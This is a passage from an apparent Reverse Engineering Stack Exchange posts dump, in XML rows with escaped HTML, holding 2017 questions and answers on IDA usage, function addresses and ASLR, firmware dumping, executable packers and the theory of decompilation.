Linking' option off in the 'Project Properties-&gt;Linker-&gt;General' option solved my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="20848" LastEditDate="2017-07-18T18:28:18.207" LastActivityDate="2017-07-18T18:28:18.207" Title="Function Address Changes When Gets Referenced elsewhere" Tags="|disassembly|c++|functions|compilers|address|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15832" PostTypeId="2" ParentId="6678" CreationDate="2017-07-16T02:11:39.117" Score="0" Body="&lt;p&gt;From my work (on applications I will not disclose) I will give a short conclusion. The device does not use the older AirPlay methods. e.g. there isn't just a single key that can decrypt across any device. You must have a server, we call it an &quot;AirPlay server&quot;, that the device calls for a decryption key for that specific session. The rest of the work is done on the device (decryption). So the device asks the server, server responds with a key, device uses the key for decryption. Most of the actual work is done on the device.&lt;/p&gt;&#xA;" OwnerUserId="20898" LastActivityDate="2017-07-16T02:11:39.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15833" PostTypeId="2" ParentId="15831" CreationDate="2017-07-16T04:25:13.610" Score="0" Body="&lt;p&gt;I did this test in C++ using G++ 4.8.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;void function(){&#xA;    int q=0;&#xA;    q++;&#xA;    q=q-2;&#xA;}&#xA;&#xA;int main ()&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; (void*)&amp;amp;function;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gave me &lt;code&gt;0x4013e0&lt;/code&gt; which is the correct address of my function.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Qxprn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qxprn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The random numbers you've described to me seem to sound like the variable is uninitialized and has an unpredictable value. that is the initial value is not set and could be anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assigning the address to a variable could be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void* i = (void*)&amp;amp;function; # as a pointer.&#xA;int q = (int)i; # as integer value.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19064" LastEditorUserId="19064" LastEditDate="2017-07-16T04:38:31.397" LastActivityDate="2017-07-16T04:38:31.397" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15834" PostTypeId="2" ParentId="15809" CreationDate="2017-07-16T08:27:29.253" Score="0" Body="&lt;p&gt;I've found solution&#xA;&lt;a href=&quot;http://www.openrce.org/forums/posts/771&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openrce.org/forums/posts/771&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only 1 &quot;but&quot; - it works with &lt;strong&gt;undefined strings only&lt;/strong&gt;. That's why changing settings &lt;strong&gt;didn't help me in existing project&lt;/strong&gt; - unicode strings were defined somehow as a data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've opened binary from scratch, with &quot;Create offset if data xref to seg32 exists&quot; disabled, and IDA recognized all unicode strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dumped all UNICODE strings addresses (begin-end) from newly recognized project, using IDAPython magics. And then used them in existing project: take an address range, undefine it, define as data (with UNICODE), define a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked like a charm.&lt;/p&gt;&#xA;" OwnerUserId="17968" LastActivityDate="2017-07-16T08:27:29.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15835" PostTypeId="1" CreationDate="2017-07-16T15:03:13.720" Score="1" ViewCount="385" Body="&lt;p&gt;I was analyzing a piece of malware and noticed it created this registry key.&#xA;hkey_local_machine\software\microsoft\ esent\process{malware file name}\debug&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some googling told me that esent is just a database applications can use whenever they want. If the malware is using the esent database, how can I locate the data it's stored inside? If I cannot, what should I do with this information? Sorry for bad English.&lt;/p&gt;&#xA;" OwnerUserId="20838" LastActivityDate="2017-07-16T15:03:13.720" Title="What do malicious programs use the ESENT registry key for?" Tags="|windows|malware|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15837" PostTypeId="1" CreationDate="2017-07-17T01:59:09.763" Score="2" ViewCount="1247" Body="&lt;p&gt;Recently, I've been cracking a crackme DLL, and I need to inject it into a process, to see if it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've ran into a problem. I cannot seem to find how to debug DLL injection inside of ida. I've tried Debugger-&gt;Attach to Process, but that doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="17525" LastActivityDate="2023-01-27T08:44:03.427" Title="How to debug DLL injection in IDA?" Tags="|ida|debugging|dll|injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15838" PostTypeId="2" ParentId="15828" CreationDate="2017-07-17T12:58:18.733" Score="1" Body="&lt;p&gt;IDA Pro is the nearest I am aware of. Whilst it only has decompilers for I think x86 and PPC, it handles many more CPUs and appears to have a limited understanding of control flow as illustrated by viewing a function in graphical mode. Using IDA Python you can parse a function, follow control flow and output a text file easily, but it would only get you to blob trees linked by true/false branches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling my own and other microcontroller code leads me to conclude that a good decompiler needs specific information about the compiler and the CPU. Just following something manually can be difficult with structures of pointers, indirect addressing and limited type information.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-07-17T12:58:18.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15840" PostTypeId="2" ParentId="15752" CreationDate="2017-07-17T13:32:53.410" Score="4" Body="&lt;p&gt;MED17 functional description docs will help with overview of the EEP handler, but not the checksum routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually it is best to go through the front door with coding tools rather than try to change EEPROM (actually dataflash on most Tricore) directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given time I could probably locate the checksum routines and reverse them, but it is not a small job and fixing those may still leave you with other dependencies or some TPROT EEPROM contents that give you trouble that are difficult to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depends how deep you want to go, I think it is a time question beyond a simple CRC formula.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-07-17T13:32:53.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15842" PostTypeId="2" ParentId="15828" CreationDate="2017-07-17T15:01:35.820" Score="1" Body="&lt;p&gt;It's hard to say whether such a tool exists without knowing which CPU architecture you want to target. However, I would recommend &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it supports a lot of architectures, even exotic ones&lt;/li&gt;&#xA;&lt;li&gt;it's open source and extensible — in case your CPU isn't supported, you can integrate an existing disassembler implementation or write one by yourself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, keep in mind that it will only produce flow control graph. Some data flow analysis may be available if the disassembler implements it.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2017-07-17T15:01:35.820" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15843" PostTypeId="1" CreationDate="2017-07-17T15:26:36.400" Score="2" ViewCount="766" Body="&lt;p&gt;I have a &lt;a href=&quot;https://drive.google.com/file/d/0B7s5Y0TSnlYfd2Z5bUFLOVdQMzQ/view?usp=drivesdk&quot; rel=&quot;nofollow noreferrer&quot;&gt;datasheet&lt;/a&gt; of the HCS08 micro-controller family from NXP. I have a Raspberry Pi and some time. I admit that this is my first time delving this deep into hardware RE, so be gentle with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the damn thing to spit numbers out at me, so I know that the chip has a serial output at least. And, I have the chip mounted on a breakout board and I have a breadboard handy. Also, let's assume security bit is not set (&lt;em&gt;fingers crossed!!!&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to get out the firmware to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, even a couple links and a tip or two for my specific case if you could!&lt;/p&gt;&#xA;" OwnerUserId="20914" LastEditorUserId="2147" LastEditDate="2017-08-30T12:39:52.917" LastActivityDate="2017-12-19T07:35:44.730" Title="Dump firmware from MC9S08EL32 MCU" Tags="|firmware|hardware|memory-dump|dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15844" PostTypeId="1" CreationDate="2017-07-17T16:25:16.850" Score="0" ViewCount="369" Body="&lt;p&gt;Reference to this thread: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1779/what-are-the-different-types-of-packers&quot;&gt;What are the different types of packers?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q1:&lt;/strong&gt; How do packing methods like compression, protection, and encryption work, how do they differ, and which is more secure?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q2:&lt;/strong&gt; Is nested packing useful? i.e: packing via compression, and then protection or any combination of the referenced methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to the RE world and am looking to prevent RE on an executable as best as I can.  My thoughts are to obfuscate the source, build the executable, compress the executable (using a compressor), and then protect the executable (using a compressor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that RE is &lt;em&gt;always possible&lt;/em&gt; with enough time by a skilled adversary. &lt;/p&gt;&#xA;" OwnerUserId="20916" LastActivityDate="2017-07-18T13:42:04.060" Title="How does the different types of executable packing work?" Tags="|disassembly|unpacking|obfuscation|deobfuscation|decompress|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15846" PostTypeId="2" ParentId="15843" CreationDate="2017-07-17T18:30:48.080" Score="2" Body="&lt;p&gt;I suggest you to look at the &lt;a href=&quot;http://usbdm.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;USBDM project&lt;/a&gt; which claims to support BDM (&lt;a href=&quot;https://en.wikipedia.org/wiki/Background_debug_mode_interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;background debug mode&lt;/a&gt;) for the RS08 and HCS08 series, among others, which I &lt;em&gt;think&lt;/em&gt; should be compatible with your chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though they talk about Codewarrior, in theory the source code should allow you to implement your own code dumping tool.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-17T18:30:48.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15847" PostTypeId="1" CreationDate="2017-07-18T02:37:39.160" Score="0" ViewCount="891" Body="&lt;p&gt;I was wondering if anyone could help me and explain how I should process a graph that looks like this in IDA Pro, where the right most node is the entrypoint, and it contains several of these small function chunks to its left. does it mean that function has multiple entry points? (the cross-references from the noes seem to indicate that). How is this translated into a high level language?&#xA; (pseudocode).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cjZBP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjZBP.png&quot; alt=&quot;IDA graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2017-07-18T06:13:36.287" Title="IDA Pro Graph question" Tags="|ida|control-flow-graph|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15849" PostTypeId="2" ParentId="15847" CreationDate="2017-07-18T04:55:03.487" Score="0" Body="&lt;p&gt;Try right-clicking and then clicking on layout graph.&#xA;That should fix things up, if you dont see it try moving one the windows. And it should pop up. I know this is a comment-type answer, but I cannot comment.&lt;/p&gt;&#xA;" OwnerUserId="17525" LastActivityDate="2017-07-18T04:55:03.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15850" PostTypeId="2" ParentId="15847" CreationDate="2017-07-18T06:13:36.287" Score="1" Body="&lt;p&gt;It may be a result of unrecognized or misunderstood switch/case.&#xA;Please post all the assembly code of the function - this will probably help to locate it.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-07-18T06:13:36.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15851" PostTypeId="2" ParentId="15831" CreationDate="2017-07-18T10:46:55.430" Score="2" Body="&lt;p&gt;not sure what your question is&lt;br&gt;&#xA;do you mean you get different address for the function every time you load it?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if yes then disable ASLR (address space layout randomization)&lt;br&gt;&#xA;you can use the linker switch /DYNAMICBASE:no to make the exe load at a fixed address every time (this is not production friendly disabling ASLR is a security risk)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source as it is from your original post   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls -l&#xA;total 4&#xA;-rw-rw-rw-  1 HP 0 155 2017-07-18 15:14 FOO.CPP&#xA;&#xA;:\&amp;gt;cat FOO.CPP&#xA;#include &amp;lt;iostream&amp;gt;&#xA;void funct(void) {&#xA;    std::cout&amp;lt;&amp;lt;&quot;hello hello funcy&quot;&amp;lt;&amp;lt;std::endl;&#xA;}&#xA;int main(){&#xA;    funct();&#xA;    std::cout&amp;lt;&amp;lt;&amp;amp;funct&amp;lt;&amp;lt;std::endl;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with visual studio&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /EHsc /Zi FOO.CPP /link /RELEASE /DYNAMICBASE:NO&#xA;Microsoft (R) C/C++ Optimizing Compiler Version 19.00.24210 for x86&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;FOO.CPP&#xA;Microsoft (R) Incremental Linker Version 14.00.24210.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;/out:FOO.exe&#xA;/debug&#xA;/RELEASE&#xA;/DYNAMICBASE:NO&#xA;FOO.obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed as is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;FOO.exe&#xA;hello hello funcy&#xA;00401100&#xA;&#xA;:\&amp;gt;FOO.exe&#xA;hello hello funcy&#xA;00401100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checking in debugger &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;x foo!funct;q&quot; FOO.exe | grep -i quit -B 3&#xA;77ca05a6 cc              int     3&#xA;0:000&amp;gt; cdb: Reading initial command 'x foo!funct;q'&#xA;00401100          FOO!funct (void)&#xA;quit:&#xA;&#xA;:\&amp;gt;cdb -c &quot;x foo!funct;q&quot; FOO.exe | grep -i quit -B 3&#xA;77ca05a6 cc              int     3&#xA;0:000&amp;gt; cdb: Reading initial command 'x foo!funct;q'&#xA;00401100          FOO!funct (void)&#xA;quit:&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can print the return address in the funct using intrinsic _ReturnAddress() by including the header intrin.h like this &#xA;and roll your own hacks if you require &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;void funct(void) {&#xA;    std::cout&amp;lt;&amp;lt;&quot;hello hello funcy&quot;&amp;lt;&amp;lt;std::endl;&#xA;    int test = (int )_ReturnAddress();&#xA;    // assuming an e8 call (relative offset ) &#xA;    // not an ff 25 call or register call or other indirect call&#xA;    // if the following is negative like 0xffffffbb then the function &#xA;    // is above the return address &#xA;    // ie function is @ ( _ReturnAddrees - (0x100000000 - 0xffffffbb) )&#xA;    printf(&quot;%x\n&quot; , test);&#xA;    printf (&quot;%x%x%x%x\n&quot; , &#xA;    *(BYTE *)(test-1),&#xA;    *(BYTE *)(test-2),&#xA;    *(BYTE *)(test-3),&#xA;    *(BYTE *)(test-4)&#xA;    );&#xA;}&#xA;int main(){&#xA;    funct();&#xA;    std::cout&amp;lt;&amp;lt;&quot;we are in main&quot;&amp;lt;&amp;lt;std::endl;&#xA;    std::cout&amp;lt;&amp;lt;&amp;amp;funct&amp;lt;&amp;lt;std::endl;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result as follows  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;FOO.exe&#xA;hello hello funcy&#xA;401178&#xA;ffffff88&#xA;we are in main&#xA;00401100&#xA;&#xA;:\&amp;gt;FOO.exe&#xA;hello hello funcy&#xA;401178&#xA;ffffff88&#xA;we are in main&#xA;00401100&#xA;&#xA;:\&amp;gt;FOO.exe&#xA;hello hello funcy&#xA;401178&#xA;ffffff88&#xA;we are in main&#xA;00401100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-07-18T10:46:55.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15852" PostTypeId="2" ParentId="15844" CreationDate="2017-07-18T13:42:04.060" Score="1" Body="&lt;p&gt;Q1: I would refer you to the book Practical Malware Analysis Ch. 18 which talks about packers and unpacking them. You can find the book at any online book store and usually comes highly recommended for beginners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2: I don't often see nested packers but they are out there most of the time when you see them nested the inner layers are for protection and the out layers are for compression (keeping the payload small).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some links that may help you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://0x00sec.org/t/packers-executable-compression-and-data-obfuscation/847&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://0x00sec.org/t/packers-executable-compression-and-data-obfuscation/847&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.nostarch.com/malware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nostarch.com/malware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2017-07-18T13:42:04.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15853" PostTypeId="2" ParentId="15167" CreationDate="2017-07-18T14:13:31.057" Score="0" Body="&lt;p&gt;SHL and SHR work using the following syntax dest, count&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now di is a 16 bit register and CL is basically the count (3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you are right it should be zeroed out and you can prove this by using a online x86 emulator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://carlosrafaelgn.com.br/asm86/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://carlosrafaelgn.com.br/asm86/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and enter the following asm instructions:&#xA;mov di, 01h&#xA;mov cl, 11h&#xA;shl di, cl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i dont know what would make it behave this way.&lt;/p&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2017-07-18T14:13:31.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15854" PostTypeId="2" ParentId="15167" CreationDate="2017-07-18T17:42:35.783" Score="1" Body="&lt;p&gt;Full disclosure: I am the author of the following article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dsasmblr.com/accessing-and-modifying-upper-half-of-registers/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Accessing and Modifying Upper Bits in x86 and x64 Registers&quot;&gt;Accessing and Modifying Upper Bits in x86 and x64 Registers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The aim of the article is to provide the reader with a detailed, example- and code-laden explanation of exactly how the shift and rotate instructions work in both x86 and x64 contexts. The examples therein are directly applicable to OP's inquiry.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-07-18T17:42:35.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15856" PostTypeId="2" ParentId="15837" CreationDate="2017-07-19T03:01:19.860" Score="-2" Body="&lt;p&gt;dynamic debugging for dll you should use x64dbg or ollydbg. both can load dll to execute and debug.&lt;/p&gt;&#xA;" OwnerUserId="6941" LastActivityDate="2017-07-19T03:01:19.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15857" PostTypeId="2" ParentId="15828" CreationDate="2017-07-19T03:24:56.937" Score="4" Body="&lt;p&gt;Initial comments:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The process being described in the question is not decompilation&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The definition associated with the &quot;decompilation&quot; tag is not correct&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No tool in existence performs the described process, for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Any given assembly language is necessarily strongly related to the machine language of the target processor&lt;/li&gt;&#xA;&lt;li&gt;Due to the strong relationship between assembly code (text) and the object code (binary machine language) it is a symbolic representation of, it seems doubtful that the functional equivalent of a universal assembly language translator could exist in the first place &lt;/li&gt;&#xA;&lt;li&gt;Pseudocode by definition does not conform to a language specification. This precludes lexical analysis, which is an essential step in text to text transformation&lt;/li&gt;&#xA;&lt;li&gt;Decompilers do not accept arbitrary text as input, because they create CFGs from parsed machine code. Additionally, approaches to CFG contstruction differ between decompilers, because the CFGs are used to create &lt;a href=&quot;http://cs.lmu.edu/~ray/notes/ir/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;intermediate representations&lt;/em&gt;&lt;/a&gt; which vary across decompilers.&lt;/li&gt;&#xA;&lt;li&gt;Since decompilers use architecture-independent intermediate representations to perform machine code to HLL translation, the need to develop a tool that somehow parses arbitrary pseudo-assembly does not exist&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;While assembly source text instructions generally have a 1-to-1 relationship with target machine language instructions, intermediate representations can be language- and architecture-independent. It depends on the choice of intermediate representation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Decompilation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. It is important to be able to refer to a correct definition of decompilation in order to get some sense of what it entails&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated previously, the definition associated with the &quot;decompilation&quot; tag is not correct. Here it is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Process of translating assembly code extracted from a binary file in a structured programming language, such as C.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We can compare this definition to correct definitions offered in academic literature:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A decompiler is a program that reads a program written in a machine language – the source language – and translates it into an equivalent program in a high-level language – the target language. A decompiler, or reverse compiler, attempts to reverse the process of a compiler which translates a high-level language program into a binary or executable program.&lt;sup&gt;&lt;a href=&quot;https://yurichev.com/mirrors/DCC_decompilation_thesis.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More directly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At its surface, decompilation is the recovery of a program’s source code given only its binary. Underneath, decompilation consists of a collection of abstraction recovery mechanisms such as indirect jump resolution, control flow structuring, and data type reconstruction, which recover&#xA;  high-level abstractions that are not readily available in the binary form.&lt;sup&gt;&lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_schwartz.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Certain inferences can be made based on the correct definitions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The input to a decompiler is expected to be object code, not ASCII text or renditions of object code by way of mnemonics. To suggest - incorrectly - that assembly code (the symbolic language representation of machine code) is the expected input is a critical conceptual error. This is why the tag definition needs to be changed, as this error could lead to confusion or misunderstanding&lt;/li&gt;&#xA;&lt;li&gt;The purpose of decompilation is to create a semantic approximation by way a high level language of the operations encoded in the binary as object code. In order to create such an approximation to an acceptable degree of accuracy, a variety of methods are necessary to compensate for information loss that occurs during the compilation process. In other words, the less principled one is regarding abstraction recovery, the less accurately the decompiled source text will be as an approximation of information encoded the object code of a binary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Decompilation makes use of intermediate representations, not assembly language text, to create HLL output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an outline of what is generally involved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rRBVP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rRBVP.png&quot; alt=&quot;Reverse Compilation Techniques, figure 1-10&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Control Flow Graph Recovery&lt;/strong&gt;  The first stage parses the input binary’s file format, disassembles the binary, and creates a control flow graph (CFG) for each function. At a high level, a control flow graph is a program representation in which vertices represent basic blocks, and edges&#xA;  represent possible control flow transitions between blocks.(See §2.1 for more detail.) While precisely identifying binary code in an executable is known to be hard in the general case, current algorithms have been shown to work well in practice [4, 5, 24, 25]. There are mature platforms that already implement this step. We use the CMU Binary Analysis Platform&#xA;  (BAP) [10]. BAP lifts sequential x86 assembly instructions in the CFG into an intermediate language called BIL, whose syntax is shown in Table 1 (see [10]). As we will see, the end goal of Phoenix is to decompile this language into the high-level language shown in Table 2.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The order of steps taken by CMU's Phoenix decompiler is slightly different from the order depicted in the diagram from Cristina Cifuentes' &quot;Reverse Compilation Techniques&quot; (her decompiler was called &lt;em&gt;dcc&lt;/em&gt;): Phoenix creates a CFG for the binary, then translates it into an intermediate language rather than the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another example, from &lt;a href=&quot;https://www.internetsociety.org/sites/default/files/11_4_2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantics-Preserving Transformations&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iK7Gv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iK7Gv.png&quot; alt=&quot;No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantics-Preserving Transformations&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is evident from the first sentence, the input to DREAM is a binary. Unlike Phoenix, which uses the &lt;a href=&quot;https://users.ece.cmu.edu/~aavgerin/papers/bap-cav-11.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;BAP Intermediate Language&lt;/a&gt; as an intermediate representation, DREAM uses its own unspecified form of intermediate representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final example - based on the dated discussion of the Hex-Rays decompiler from the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompilers and beyond&lt;/a&gt; white paper, the general decompilation procedure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Microcode generation&lt;/li&gt;&#xA;&lt;li&gt;The local optimization&lt;/li&gt;&#xA;&lt;li&gt;Global optimization&lt;/li&gt;&#xA;&lt;li&gt;Local variable allocation&lt;/li&gt;&#xA;&lt;li&gt;Structural analysis&lt;/li&gt;&#xA;&lt;li&gt;Initial pseudocode&lt;/li&gt;&#xA;&lt;li&gt;Pseudocode transformations&lt;/li&gt;&#xA;&lt;li&gt;Type analysis&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, the Hex-Rays decompiler converts the object code from a binary to microcode, creates a CFG, uses the CFG to create psuedocode (some unspecified, probably proprietary, intermediate representation) and then outputs the transformed psuedocode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some clear patterns emerge when these different decompilers are examined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several good reasons that both compilers and decompilers use 